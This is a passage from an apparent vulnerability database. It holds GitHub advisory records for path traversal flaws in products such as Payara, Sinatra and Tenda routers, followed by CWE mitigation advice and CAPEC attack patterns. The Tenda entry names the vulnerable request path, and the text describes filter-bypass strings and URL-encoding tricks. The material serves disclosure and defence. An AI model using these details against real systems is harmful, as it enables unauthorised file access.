"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CodeChecker has a Path traversal in `CodeChecker server` in the endpoint of `CodeChecker store`"
}
GHSA-H286-WJCR-GMVW
Vulnerability from github – Published: 2023-01-27 00:30 – Updated: 2023-02-02 18:30A file write vulnerability exists in the httpd upload.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to arbitrary file upload. An attacker can send an HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-39045"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-26T22:15:00Z",
"severity": "HIGH"
},
"details": "A file write vulnerability exists in the httpd upload.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to arbitrary file upload. An attacker can send an HTTP request to trigger this vulnerability.",
"id": "GHSA-h286-wjcr-gmvw",
"modified": "2023-02-02T18:30:30Z",
"published": "2023-01-27T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39045"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1611"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H28C-453M-H9XM
Vulnerability from github – Published: 2022-08-19 00:00 – Updated: 2022-08-30 20:20Payara through 5.2022.2 allows directory traversal without authentication. This affects Payara Server, Payara Micro, and Payara Server Embedded.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "fish.payara.api:payara-bom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2022.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-37422"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-30T20:20:37Z",
"nvd_published_at": "2022-08-18T19:15:00Z",
"severity": "HIGH"
},
"details": "Payara through 5.2022.2 allows directory traversal without authentication. This affects Payara Server, Payara Micro, and Payara Server Embedded.",
"id": "GHSA-h28c-453m-h9xm",
"modified": "2022-08-30T20:20:37Z",
"published": "2022-08-19T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37422"
},
{
"type": "WEB",
"url": "https://blog.payara.fish/august-community-5-release"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in Payara"
}
GHSA-H29F-7F56-J8WH
Vulnerability from github – Published: 2018-02-20 19:23 – Updated: 2023-01-23 21:16An issue was discovered in rack-protection/lib/rack/protection/path_traversal.rb in Sinatra 2.x before 2.0.1 on Windows. Path traversal is possible via backslash characters.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "sinatra"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0.beta1"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-7212"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:38:23Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "An issue was discovered in `rack-protection/lib/rack/protection/path_traversal.rb` in Sinatra 2.x before 2.0.1 on Windows. Path traversal is possible via backslash characters.",
"id": "GHSA-h29f-7f56-j8wh",
"modified": "2023-01-23T21:16:39Z",
"published": "2018-02-20T19:23:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7212"
},
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/pull/1379"
},
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/commit/6ad721abcfe36334108dcdd05d046c361e1b7a9c"
},
{
"type": "PACKAGE",
"url": "https://github.com/sinatra/sinatra"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sinatra Path Traversal vulnerability"
}
GHSA-H2C3-PH7G-CMVQ
Vulnerability from github – Published: 2021-12-17 00:00 – Updated: 2021-12-22 00:01Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in the UpdateServer component of Bitdefender GravityZone allows an attacker to execute arbitrary code on vulnerable instances. This issue affects Bitdefender GravityZone versions prior to 3.3.8.272
{
"affected": [],
"aliases": [
"CVE-2021-3960"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-16T15:15:00Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in the UpdateServer component of Bitdefender GravityZone allows an attacker to execute arbitrary code on vulnerable instances. This issue affects Bitdefender GravityZone versions prior to 3.3.8.272",
"id": "GHSA-h2c3-ph7g-cmvq",
"modified": "2021-12-22T00:01:40Z",
"published": "2021-12-17T00:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3960"
},
{
"type": "WEB",
"url": "https://www.bitdefender.com/support/security-advisories/privilege-escalation-via-the-gravityzone-productmanager-updateserver-kitsmanager-api-va-10146"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H2C9-G47M-57V8
Vulnerability from github – Published: 2022-05-17 00:16 – Updated: 2022-05-17 00:16Directory Traversal vulnerability in app_data_center on Shenzhen Tenda Ac9 US_AC9V1.0BR_V15.03.05.14_multi_TD01, Ac9 ac9_kf_V15.03.05.19(6318_)cn, Ac15 US_AC15V1.0BR_V15.03.05.18_multi_TD01, Ac15 US_AC15V1.0BR_V15.03.05.19_multi_TD01, Ac18 US_AC18V1.0BR_V15.03.05.05_multi_TD01, and Ac18 ac18_kf_V15.03.05.19(6318)_cn devices allows remote unauthenticated attackers to read arbitrary files via a cgi-bin/luci/request?op=1&path= URI that uses directory traversal sequences after a /usb/ substring.
{
"affected": [],
"aliases": [
"CVE-2017-16936"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-24T07:29:00Z",
"severity": "MODERATE"
},
"details": "Directory Traversal vulnerability in app_data_center on Shenzhen Tenda Ac9 US_AC9V1.0BR_V15.03.05.14_multi_TD01, Ac9 ac9_kf_V15.03.05.19(6318_)_cn, Ac15 US_AC15V1.0BR_V15.03.05.18_multi_TD01, Ac15 US_AC15V1.0BR_V15.03.05.19_multi_TD01, Ac18 US_AC18V1.0BR_V15.03.05.05_multi_TD01, and Ac18 ac18_kf_V15.03.05.19(6318_)_cn devices allows remote unauthenticated attackers to read arbitrary files via a cgi-bin/luci/request?op=1\u0026path= URI that uses directory traversal sequences after a /usb/ substring.",
"id": "GHSA-h2c9-g47m-57v8",
"modified": "2022-05-17T00:16:19Z",
"published": "2022-05-17T00:16:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16936"
},
{
"type": "WEB",
"url": "https://github.com/Iolop/Poc/tree/master/Router/Tenda"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H2CX-CFGV-2G8F
Vulnerability from github – Published: 2023-05-23 03:30 – Updated: 2024-04-04 04:18Directory traversal vulnerability in Snow Monkey Forms versions v5.0.6 and earlier allows a remote unauthenticated attacker to obtain sensitive information, alter the website, or cause a denial-of-service (DoS) condition.
{
"affected": [],
"aliases": [
"CVE-2023-28413"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-23T02:15:10Z",
"severity": "CRITICAL"
},
"details": "Directory traversal vulnerability in Snow Monkey Forms versions v5.0.6 and earlier allows a remote unauthenticated attacker to obtain sensitive information, alter the website, or cause a denial-of-service (DoS) condition.",
"id": "GHSA-h2cx-cfgv-2g8f",
"modified": "2024-04-04T04:18:39Z",
"published": "2023-05-23T03:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28413"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN01093915"
},
{
"type": "WEB",
"url": "https://snow-monkey.2inc.org/2023/04/28/snow-monkey-forms-v5-0-7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.